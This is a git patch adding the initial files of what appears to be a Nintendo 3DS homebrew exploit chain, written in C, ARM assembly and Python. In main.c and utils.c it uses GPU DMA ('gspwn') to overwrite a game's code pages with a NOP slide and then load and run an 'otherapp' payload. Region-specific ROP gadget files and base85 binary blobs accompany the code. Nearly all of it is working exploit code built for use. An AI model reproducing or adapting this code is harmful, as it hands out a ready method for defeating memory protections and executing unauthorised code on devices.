From bf28bcee8bb96f7970ec0d029eeaca890352f8eb Mon Sep 17 00:00:00 2001 From: MrNbaYoh Date: Sat, 28 Jul 2018 21:46:27 +0200 Subject: [PATCH] Initial commit --- Makefile | 25 ++ code/Makefile | 75 ++++ code/ccd00.ld | 27 ++ code/ccd00.specs | 4 + code/makeConstantsHeader.py | 12 + code/source/crt0.S | 8 + code/source/imports.h | 22 + code/source/main.c | 119 ++++++ code/source/math.S | 398 ++++++++++++++++++ code/source/utils.c | 66 +++ code/source/utils.h | 12 + game/Makefile | 7 + game/__pycache__/event.cpython-35.pyc | Bin 0 -> 1541 bytes game/bins/event_opt.bin | Bin 0 -> 52 bytes game/bins/file_0.bin | Bin 0 -> 312 bytes game/bins/file_1.bin | Bin 0 -> 195876 bytes game/event.py | 29 ++ game/game.py | 26 ++ pyrop/__pycache__/base_modules.cpython-35.pyc | Bin 0 -> 13748 bytes pyrop/__pycache__/base_modules.cpython-36.pyc | Bin 0 -> 12781 bytes pyrop/__pycache__/builder_base.cpython-35.pyc | Bin 0 -> 7814 bytes pyrop/__pycache__/builder_base.cpython-36.pyc | Bin 0 -> 7179 bytes pyrop/base_modules.py | 357 ++++++++++++++++ pyrop/builder_base.py | 173 ++++++++ pyrop/pyrop.py | 17 + rop/Makefile | 7 + rop/__pycache__/constants.cpython-35.pyc | Bin 0 -> 452 bytes rop/constants.py | 11 + rop/macros.py | 84 ++++ rop/rop.py | 103 +++++ ropdb/EUR.py | 63 +++ ropdb/USA.py | 62 +++ 32 files changed, 1707 insertions(+) create mode 100644 Makefile create mode 100644 code/Makefile create mode 100644 code/ccd00.ld create mode 100644 code/ccd00.specs create mode 100644 code/makeConstantsHeader.py create mode 100644 code/source/crt0.S create mode 100644 code/source/imports.h create mode 100644 code/source/main.c create mode 100644 code/source/math.S create mode 100644 code/source/utils.c create mode 100644 code/source/utils.h create mode 100644 game/Makefile create mode 100644 game/__pycache__/event.cpython-35.pyc create mode 100644 game/bins/event_opt.bin create mode 100644 game/bins/file_0.bin create mode 100644 game/bins/file_1.bin create mode 100644 game/event.py create mode 100644 game/game.py create mode 100644 pyrop/__pycache__/base_modules.cpython-35.pyc create mode 100644 pyrop/__pycache__/base_modules.cpython-36.pyc create mode 100644 pyrop/__pycache__/builder_base.cpython-35.pyc create mode 100644 pyrop/__pycache__/builder_base.cpython-36.pyc create mode 100644 pyrop/base_modules.py create mode 100644 pyrop/builder_base.py create mode 100644 pyrop/pyrop.py create mode 100644 rop/Makefile create mode 100644 rop/__pycache__/constants.cpython-35.pyc create mode 100644 rop/constants.py create mode 100644 rop/macros.py create mode 100644 rop/rop.py create mode 100644 ropdb/EUR.py create mode 100644 ropdb/USA.py diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..0e6945c --- /dev/null +++ b/Makefile @@ -0,0 +1,25 @@ +export PYROP:="$(CURDIR)/pyrop" + +all: otherapp.bin ropdb/DB.py code/build game/build + +otherapp.bin: + @cp $(OTHERAPP) otherapp.bin + +ropdb/DB.py: + @cp ropdb/$(REGION).py ropdb/DB.py + +code/build: + @cd code && make + +game/build: rop/build + @cd game && make + +rop/build: + @cd rop && make + +clean: + @cd game && make clean + @cd rop && make clean + @cd code && make clean + @rm ropdb/DB.py + @rm otherapp.bin diff --git a/code/Makefile b/code/Makefile new file mode 100644 index 0000000..3eee218 --- /dev/null +++ b/code/Makefile @@ -0,0 +1,75 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +include $(DEVKITARM)/3ds_rules + +CC = arm-none-eabi-gcc +# LINK = arm-none-eabi-gcc +LINK = arm-none-eabi-ld +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +CFLAGS += -Wall -std=c99 -march=armv6 -Os -I"$(CTRULIB)/include" -I$(DEVKITPRO)/libnds/include +LDFLAGS += --script=ccd00.ld -L"$(CTRULIB)/lib" + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.S) +OFILES += $(SFILES:source/%.S=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -o $(@) + echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( build/$*.d + +build/%.o: source/%.S + $(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo $(notdir $<) + @$(bin2o) + +constants.h: + @python3 makeConstantsHeader.py ../ropdb/DB.py constants.h diff --git a/code/ccd00.ld b/code/ccd00.ld new file mode 100644 index 0000000..672f719 --- /dev/null +++ b/code/ccd00.ld @@ -0,0 +1,27 @@ +OUTPUT_ARCH(arm) + +MEMORY +{ + RAMRX (rx) : ORIGIN = 0x00384000, LENGTH = 0x00002000 + RAMRW (rw!i) : ORIGIN = 0x08000000, LENGTH = 0x00100000 +} + +SECTIONS +{ + .text : ALIGN(0x100) { + build/crt0.o(.init) + *(.text) + *(.rodata) + _got_start = .; + *(.got) + *(.got.plt) + *(.data.rel.ro.local) + _got_end = .; + } + + .bss : { + _bss_start = .; + *(.bss); + } + _bss_end = .; +} diff --git a/code/ccd00.specs b/code/ccd00.specs new file mode 100644 index 0000000..73bc487 --- /dev/null +++ b/code/ccd00.specs @@ -0,0 +1,4 @@ +%rename link old_link + +*link: +%(old_link) -T ./ccd00.ld%s \ No newline at end of file diff --git a/code/makeConstantsHeader.py b/code/makeConstantsHeader.py new file mode 100644 index 0000000..f299d10 --- /dev/null +++ b/code/makeConstantsHeader.py @@ -0,0 +1,12 @@ +import sys +import runpy + +cmdargs = sys.argv + +output_file = open(cmdargs[2], 'w') + +result = runpy.run_path(cmdargs[1]) +diff = set(result.keys()) - set(globals().keys()) + +for gadget in diff: + output_file.write("#define " + gadget + " " + hex(result[gadget]) + "\n") diff --git a/code/source/crt0.S b/code/source/crt0.S new file mode 100644 index 0000000..382f36d --- /dev/null +++ b/code/source/crt0.S @@ -0,0 +1,8 @@ +.section ".init" +.arm +.align 0x4 +.global _start + +_start: + mov sp, #0x10000000 + blx _main diff --git a/code/source/imports.h b/code/source/imports.h new file mode 100644 index 0000000..32ad890 --- /dev/null +++ b/code/source/imports.h @@ -0,0 +1,22 @@ +#ifndef IMPORTS_H +#define IMPORTS_H + +#include <3ds.h> +#include "../constants.h" + +#define LINEAR_BUFFER 0x31000000 +#define APPMEMTYPE_PTR 0x1FF80030 +#define MAX_CODEBIN_SIZE 0x326000 +#define PAYLOAD_VA 0x384000 + +static Handle* const dspHandle = (Handle*)DSP_HANDLE; +static Handle* const gspHandle = (Handle*)GSPGPU_HANDLE; + +static u32** const sharedGspCmdBuf = (u32**)(GSPGPU_INTERRUPT_RECEIVER_STRUCT + 0x58); + +static Result (* const _GSPGPU_FlushDataCache)(Handle* handle, Handle kProcess, u32* addr, u32 size) = (void*)GSPGPU_FLUSHDATACACHE; +static Result (* const _GSPGPU_GxTryEnqueue)(u32** sharedGspCmdBuf, u32* cmdAddr) = (void*)GSPGPU_GXTRYENQUEUE; +static Result (* const _DSP_UnloadComponent)(Handle* handle) = (void*)DSP_UNLOADCOMPONENT; +static Result (* const _DSP_RegisterInterruptEvents)(Handle* handle, Handle event, u32 type, u32 port) = (void*)DSP_REGISTERINTERRUPTEVENTS; + +#endif diff --git a/code/source/main.c b/code/source/main.c new file mode 100644 index 0000000..096d51e --- /dev/null +++ b/code/source/main.c @@ -0,0 +1,119 @@ +#include "imports.h" + +#include <3ds.h> +#include "utils.h" + +#define LOOP_DEST (u8*)(LINEAR_BUFFER+0xE00000) +#define OTHERAPP_DEST (u8*)(LINEAR_BUFFER+0xF00000) +#define SLIDE_DEST (u8*)(LINEAR_BUFFER+0xA00000) + +void build_nop_slide(u32 *dst, int size) +{ + for (int i = 0; i < size; i++) + { + dst[i] = 0xE1A00000; + } + dst[size-1] = 0xE12FFF1E; +} + +void _main() +{ + + Result ret = 0; + + _DSP_UnloadComponent(dspHandle); + _DSP_RegisterInterruptEvents(dspHandle, 0x0, 0x2, 0x2); + + u32 linear_base = 0x30000000 + (*(u8*)APPMEMTYPE_PTR == 0x6 ? 0x07c00000 : 0x04000000) - MAX_CODEBIN_SIZE; + + build_nop_slide((u32*)(SLIDE_DEST), 0x1000/4); + u32 nop_slide_VA = 0x320000; + u32 count = 0; + do + { + int k = 0; + int slide_pages = 0; + while(slide_pages < 1 && k*0x1000 < MAX_CODEBIN_SIZE) + { + _GSPGPU_FlushDataCache(gspHandle, 0xFFFF8001, (u32*)LOOP_DEST, 0x1000); + gspwn((void*)LOOP_DEST, (void*)(linear_base + k*0x1000), 0x1000); + svcSleepThread(0x100000); + + if(!memcmp((void*)LOOP_DEST, (void*)(nop_slide_VA), 0x20)) + { + gspwn((void*)(linear_base + k*0x1000), (void*)(SLIDE_DEST), 0x1000); + svcSleepThread(0x100000); + slide_pages++; + } + k++; + } + + int j = 0xFFC; + while(*(u32*)(nop_slide_VA+j) == *(u32*)(SLIDE_DEST+j)) + { + count+=4; + j-=4; + } + if(j < 0xFFC) ((void (*)())(nop_slide_VA+j+4))(); + + nop_slide_VA+=0x1000; + } + while(count < 0x6000 && nop_slide_VA < PAYLOAD_VA); + //((void (*)())nop_slide_VA)(); + + + u32 otherapp_size = *(u32*)(OTHERAPP_PTR-4); + memcpy(OTHERAPP_DEST, (void*)OTHERAPP_PTR, otherapp_size); + + u32 _otherapp_size = (otherapp_size + 0xFFF) & ~0xFFF; + + u32 otherapp_pages_count = _otherapp_size >> 12; + + unsigned int pages = 0; + for(unsigned int i = 0; i < MAX_CODEBIN_SIZE && (pages < otherapp_pages_count); i+=0x1000) + { + _GSPGPU_FlushDataCache(gspHandle, 0xFFFF8001, (u32*)LOOP_DEST, 0x1000); + gspwn((void*)LOOP_DEST, (void*)(linear_base + i), 0x1000); + svcSleepThread(0x200000); + + for(u8 j = 0; j < otherapp_pages_count; j++) + { + if(!memcmp((void*)LOOP_DEST, (void*)(0x101000 + j*0x1000), 0x20)) + { + //otherapp_pages[j] = i; + gspwn((void*)(linear_base + i), (void*)(OTHERAPP_DEST+j*0x1000), 0x1000); + svcSleepThread(0x200000); + pages++; + } + } + } + // ghetto dcache invalidation + // don't judge me +int i, j; + // for(k=0; k<0x2; k++) +for(j=0; j<0x4; j++) + for(i=0; i<0x01000000/0x4; i+=0x4) + ((u8*)(LINEAR_BUFFER))[i+j]^=0xDEADBABE; + + +u8* top_framebuffer = (u8*)(LINEAR_BUFFER+0x00100000); +u8* low_framebuffer = &top_framebuffer[0x00046500]; +_GSPGPU_SetBufferSwap(*gspHandle, 0, (GSPGPU_FramebufferInfo){0, (u32*)top_framebuffer, (u32*)top_framebuffer, 240 * 3, (1<<8)|(1<<6)|1, 0, 0}); +_GSPGPU_SetBufferSwap(*gspHandle, 1, (GSPGPU_FramebufferInfo){0, (u32*)low_framebuffer, (u32*)low_framebuffer, 240 * 3, 1, 0, 0}); + + // run payload + { + void (*payload)(u32* paramlk, u32* stack_pointer) = (void*)0x00101000; + u32* paramblk = (u32*)LINEAR_BUFFER; + + paramblk[0x1c >> 2] = GSPGPU_SETTEXTURECOPY; + paramblk[0x20 >> 2] = GSPGPU_FLUSHDATACACHE_WRAPPER; + paramblk[0x48 >> 2] = 0x8d; // flags + paramblk[0x58 >> 2] = GSPGPU_HANDLE; + paramblk[0x64 >> 2] = 0x08010000; + + payload(paramblk, (u32*)(0x10000000 - 4)); + } + + *(u32*)ret = 0xdead0008; +} diff --git a/code/source/math.S b/code/source/math.S new file mode 100644 index 0000000..b8369c6 --- /dev/null +++ b/code/source/math.S @@ -0,0 +1,398 @@ +#ifdef __ARMEB__ +#define xh r0 +#define xl r1 +#define yh r2 +#define yl r3 +#else +#define xl r0 +#define xh r1 +#define yl r2 +#define yh r3 +#endif + +.global __muldi3 +__muldi3: + +.global __aeabi_lmul +__aeabi_lmul: + + mul xh, yl, xh + mla xh, xl, yh, xh + mov ip, xl, lsr #16 + mov yh, yl, lsr #16 + bic xl, xl, ip, lsl #16 + bic yl, yl, yh, lsl #16 + mla xh, yh, ip, xh + mul yh, xl, yh + mul xl, yl, xl + mul ip, yl, ip + adds xl, xl, yh, lsl #16 + adc xh, xh, yh, lsr #16 + adds xl, xl, ip, lsl #16 + adc xh, xh, ip, lsr #16 + mov pc, lr + + +dividend .req r0 +divisor .req r1 +result .req r2 +curbit .req r3 +.globl __udivsi3 + .type __udivsi3 ,function + .globl __aeabi_uidiv + .type __aeabi_uidiv ,function + .align 0 + __udivsi3: + __aeabi_uidiv: + cmp divisor, #0 + beq Ldiv0_uidiv + mov curbit, #1 + mov result, #0 + cmp dividend, divisor + bcc Lgot_result +Loop1: + @ Unless the divisor is very big, shift it up in multiples of + @ four bits, since this is the amount of unwinding in the main + @ division loop. Continue shifting until the divisor is + @ larger than the dividend. + cmp divisor, #0x10000000 + cmpcc divisor, dividend + movcc divisor, divisor, lsl #4 + movcc curbit, curbit, lsl #4 + bcc Loop1 +Lbignum: + @ For very big divisors, we must shift it a bit at a time, or + @ we will be in danger of overflowing. + cmp divisor, #0x80000000 + cmpcc divisor, dividend + movcc divisor, divisor, lsl #1 + movcc curbit, curbit, lsl #1 + bcc Lbignum +Loop3: + @ Test for possible subtractions, and note which bits + @ are done in the result. On the final pass, this may subtract + @ too much from the dividend, but the result will be ok, since the + @ "bit" will have been shifted out at the bottom. + cmp dividend, divisor + subcs dividend, dividend, divisor + orrcs result, result, curbit + cmp dividend, divisor, lsr #1 + subcs dividend, dividend, divisor, lsr #1 + orrcs result, result, curbit, lsr #1 + cmp dividend, divisor, lsr #2 + subcs dividend, dividend, divisor, lsr #2 + orrcs result, result, curbit, lsr #2 + cmp dividend, divisor, lsr #3 + subcs dividend, dividend, divisor, lsr #3 + orrcs result, result, curbit, lsr #3 + cmp dividend, #0 @ Early termination? + movnes curbit, curbit, lsr #4 @ No, any more bits to do? + movne divisor, divisor, lsr #4 + bne Loop3 +Lgot_result: + mov r0, result + mov pc, lr +Ldiv0_uidiv: + str lr, [sp, #-4]! + #bl __div0 (PLT) + mov r0, #0 @ about as wrong as it could be + ldmia sp!, {pc} + .size __udivsi3 , . - __udivsi3 + +.globl __aeabi_uidivmod +__aeabi_uidivmod: + + stmfd sp!, {r0, r1, ip, lr} + bl __aeabi_uidiv + ldmfd sp!, {r1, r2, ip, lr} + mul r3, r0, r2 + sub r1, r1, r3 + mov pc, lr + +.globl __aeabi_idivmod +__aeabi_idivmod: + + stmfd sp!, {r0, r1, ip, lr} + bl __aeabi_idiv + ldmfd sp!, {r1, r2, ip, lr} + mul r3, r0, r2 + sub r1, r1, r3 + mov pc, lr + +.macro ARM_DIV_BODY dividend, divisor, result, curbit + +#if __LINUX_ARM_ARCH__ >= 5 + + clz \curbit, \divisor + clz \result, \dividend + sub \result, \curbit, \result + mov \curbit, #1 + mov \divisor, \divisor, lsl \result + mov \curbit, \curbit, lsl \result + mov \result, #0 + +#else + + @ Initially shift the divisor left 3 bits if possible, + @ set curbit accordingly. This allows for curbit to be located + @ at the left end of each 4 bit nibbles in the division loop + @ to save one loop in most cases. + tst \divisor, #0xe0000000 + moveq \divisor, \divisor, lsl #3 + moveq \curbit, #8 + movne \curbit, #1 + + @ Unless the divisor is very big, shift it up in multiples of + @ four bits, since this is the amount of unwinding in the main + @ division loop. Continue shifting until the divisor is + @ larger than the dividend. +1: cmp \divisor, #0x10000000 + cmplo \divisor, \dividend + movlo \divisor, \divisor, lsl #4 + movlo \curbit, \curbit, lsl #4 + blo 1b + + @ For very big divisors, we must shift it a bit at a time, or + @ we will be in danger of overflowing. +1: cmp \divisor, #0x80000000 + cmplo \divisor, \dividend + movlo \divisor, \divisor, lsl #1 + movlo \curbit, \curbit, lsl #1 + blo 1b + + mov \result, #0 + +#endif + + @ Division loop +1: cmp \dividend, \divisor + subhs \dividend, \dividend, \divisor + orrhs \result, \result, \curbit + cmp \dividend, \divisor, lsr #1 + subhs \dividend, \dividend, \divisor, lsr #1 + orrhs \result, \result, \curbit, lsr #1 + cmp \dividend, \divisor, lsr #2 + subhs \dividend, \dividend, \divisor, lsr #2 + orrhs \result, \result, \curbit, lsr #2 + cmp \dividend, \divisor, lsr #3 + subhs \dividend, \dividend, \divisor, lsr #3 + orrhs \result, \result, \curbit, lsr #3 + cmp \dividend, #0 @ Early termination? + movnes \curbit, \curbit, lsr #4 @ No, any more bits to do? + movne \divisor, \divisor, lsr #4 + bne 1b + +.endm + +.macro ARM_DIV2_ORDER divisor, order + +#if __LINUX_ARM_ARCH__ >= 5 + + clz \order, \divisor + rsb \order, \order, #31 + +#else + + cmp \divisor, #(1 << 16) + movhs \divisor, \divisor, lsr #16 + movhs \order, #16 + movlo \order, #0 + + cmp \divisor, #(1 << 8) + movhs \divisor, \divisor, lsr #8 + addhs \order, \order, #8 + + cmp \divisor, #(1 << 4) + movhs \divisor, \divisor, lsr #4 + addhs \order, \order, #4 + + cmp \divisor, #(1 << 2) + addhi \order, \order, #3 + addls \order, \order, \divisor, lsr #1 + +#endif + +.endm + + .align 5 +.globl __divsi3 +.globl __aeabi_idiv +__divsi3: +__aeabi_idiv: + cmp r1, #0 + eor ip, r0, r1 @ save the sign of the result. + beq Ldiv0 + rsbmi r1, r1, #0 @ loops below use unsigned. + subs r2, r1, #1 @ division by 1 or -1 ? + beq 10f + movs r3, r0 + rsbmi r3, r0, #0 @ positive dividend value + cmp r3, r1 + bls 11f + tst r1, r2 @ divisor is power of 2 ? + beq 12f + + ARM_DIV_BODY r3, r1, r0, r2 + + cmp ip, #0 + rsbmi r0, r0, #0 + mov pc, lr + +10: teq ip, r0 @ same sign ? + rsbmi r0, r0, #0 + mov pc, lr + +11: movlo r0, #0 + moveq r0, ip, asr #31 + orreq r0, r0, #1 + mov pc, lr + +12: ARM_DIV2_ORDER r1, r2 + + cmp ip, #0 + mov r0, r3, lsr r2 + rsbmi r0, r0, #0 + mov pc, lr + +Ldiv0: + + str lr, [sp, #-4]! + #bl __div0 + mov r0, #0 @ About as wrong as it could be. + ldr pc, [sp], #4 + + +.global __aeabi_uldivmod + .type __aeabi_uldivmod, function + .align 0 +A_0 .req r0 +A_1 .req r1 +B_0 .req r2 +B_1 .req r3 +C_0 .req r4 +C_1 .req r5 +D_0 .req r6 +D_1 .req r7 +Q_0 .req r0 +Q_1 .req r1 +R_0 .req r2 +R_1 .req r3 +__aeabi_uldivmod: + stmfd sp!, {r4, r5, r6, r7, lr} + @ Test if B == 0 + orrs ip, B_0, B_1 @ Z set -> B == 0 + beq L_div_by_0 + @ Test if B is power of 2: (B & (B - 1)) == 0 + subs C_0, B_0, #1 + sbc C_1, B_1, #0 + tst C_0, B_0 + tsteq B_1, C_1 + beq L_pow2 + @ Test if A_1 == B_1 == 0 + orrs ip, A_1, B_1 + beq L_div_32_32 +L_div_64_64: + mov C_0, #1 + mov C_1, #0 + @ D_0 = clz A + teq A_1, #0 + clz D_0, A_1 + clzeq ip, A_0 + addeq D_0, D_0, ip + @ D_1 = clz B + teq B_1, #0 + clz D_1, B_1 + clzeq ip, B_0 + addeq D_1, D_1, ip + @ if clz B - clz A > 0 + subs D_0, D_1, D_0 + bls L_done_shift + @ B <<= (clz B - clz A) + subs D_1, D_0, #32 + rsb ip, D_0, #32 + movmi B_1, B_1, lsl D_0 + orrmi B_1, B_1, B_0, lsr ip + movpl B_1, B_0, lsl D_1 + mov B_0, B_0, lsl D_0 + @ C = 1 << (clz B - clz A) + movmi C_1, C_1, lsl D_0 + orrmi C_1, C_1, C_0, lsr ip + movpl C_1, C_0, lsl D_1 + mov C_0, C_0, lsl D_0 +L_done_shift: + mov D_0, #0 + mov D_1, #0 + @ C: current bit; D: result +L_subtract: + @ if A >= B + cmp A_1, B_1 + cmpeq A_0, B_0 + bcc L_update + @ A -= B + subs A_0, A_0, B_0 + sbc A_1, A_1, B_1 + @ D |= C + orr D_0, D_0, C_0 + orr D_1, D_1, C_1 +L_update: + @ if A == 0: break + orrs ip, A_1, A_0 + beq L_exit + @ C >>= 1 + movs C_1, C_1, lsr #1 + movs C_0, C_0, rrx + @ if C == 0: break + orrs ip, C_1, C_0 + beq L_exit + @ B >>= 1 + movs B_1, B_1, lsr #1 + mov B_0, B_0, rrx + b L_subtract +L_exit: + @ Note: A, B & Q, R are aliases + mov R_0, A_0 + mov R_1, A_1 + mov Q_0, D_0 + mov Q_1, D_1 + ldmfd sp!, {r4, r5, r6, r7, pc} +L_div_32_32: + @ Note: A_0 & r0 are aliases + @ Q_1 r1 + mov r1, B_0 + bl __aeabi_uidivmod + mov R_0, r1 + mov R_1, #0 + mov Q_1, #0 + ldmfd sp!, {r4, r5, r6, r7, pc} +L_pow2: + @ Note: A, B and Q, R are aliases + @ R = A & (B - 1) + and C_0, A_0, C_0 + and C_1, A_1, C_1 + @ Q = A >> log2(B) + @ Note: B must not be 0 here! + clz D_0, B_0 + add D_1, D_0, #1 + rsbs D_0, D_0, #31 + bpl L_1 + clz D_0, B_1 + rsb D_0, D_0, #31 + mov A_0, A_1, lsr D_0 + add D_0, D_0, #32 +L_1: + movpl A_0, A_0, lsr D_0 + orrpl A_0, A_0, A_1, lsl D_1 + mov A_1, A_1, lsr D_0 + @ Mov back C to R + mov R_0, C_0 + mov R_1, C_1 + ldmfd sp!, {r4, r5, r6, r7, pc} +L_div_by_0: + #bl __div0 + @ As wrong as it could be + mov Q_0, #0 + mov Q_1, #0 + mov R_0, #0 + mov R_1, #0 + ldmfd sp!, {r4, r5, r6, r7, pc} + diff --git a/code/source/utils.c b/code/source/utils.c new file mode 100644 index 0000000..fa05680 --- /dev/null +++ b/code/source/utils.c @@ -0,0 +1,66 @@ +#include "utils.h" +#include "imports.h" + +void* memset(void *ptr, int value, size_t num) +{ + u8 *p = ptr; + while (num) + { + *p++ = value; + num--; + } + + return ptr; +} + +void* memcpy(void *destination, const void *source, size_t num) +{ + u8 *dest = destination; + u8 *src = (u8*)source; + while (num) + { + *dest++ = *src++; + num--; + } + + return destination; +} + +int memcmp(void *ptr1, void *ptr2, size_t num) +{ + for(; num--; ptr1++, ptr2++) + if(*(u8*)ptr1 != *(u8*)ptr2) + return *(u8*)ptr1-*(u8*)ptr2; + return 0; +} + +Result gspwn(void* dst, void* src, u32 size) +{ + u32 gxCommand[] = + { + 0x00000004, //cmd header (SetTextureCopy) + (u32)src, + (u32)dst, + size, + 0xFFFFFFFF, //dim in + 0xFFFFFFFF, //dim out + 0x00000008, //flags + 0x00000000 + }; + + return _GSPGPU_GxTryEnqueue(sharedGspCmdBuf, gxCommand); +} + +Result _GSPGPU_SetBufferSwap(Handle handle, u32 screenId, GSPGPU_FramebufferInfo framebufferInfo) +{ + Result ret = 0; + u32* cmdbuf = getThreadCommandBuffer(); + + cmdbuf[0] = 0x0050200; + cmdbuf[1] = screenId; + memcpy(&cmdbuf[2], &framebufferInfo, sizeof(GSPGPU_FramebufferInfo)); + + if((ret = svcSendSyncRequest(handle))) return ret; + + return cmdbuf[1]; +} diff --git a/code/source/utils.h b/code/source/utils.h new file mode 100644 index 0000000..ab19d9f --- /dev/null +++ b/code/source/utils.h @@ -0,0 +1,12 @@ +#ifndef UTILS_H +#define UTILS_H + +#include <3ds.h> + +void* memset(void * ptr, int value, size_t num); +void* memcpy(void *destination, const void *source, size_t num); +int memcmp(void *ptr1, void *ptr2, size_t num); + +Result gspwn(void* dst, void* src, u32 size); +Result _GSPGPU_SetBufferSwap(Handle handle, u32 screenId, GSPGPU_FramebufferInfo framebufferInfo); +#endif diff --git a/game/Makefile b/game/Makefile new file mode 100644 index 0000000..7b9e0e0 --- /dev/null +++ b/game/Makefile @@ -0,0 +1,7 @@ +all: build/game_00.dat + +build/game_00.dat: game.py + @python3 $(PYROP)/pyrop.py game.py build/game_00.dat + +clean: + @rm -rf build diff --git a/game/__pycache__/event.cpython-35.pyc b/game/__pycache__/event.cpython-35.pyc new file mode 100644 index 0000000000000000000000000000000000000000..4660e8ecf5131930f88dcbf461b674666028f45e GIT binary patch literal 1541 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 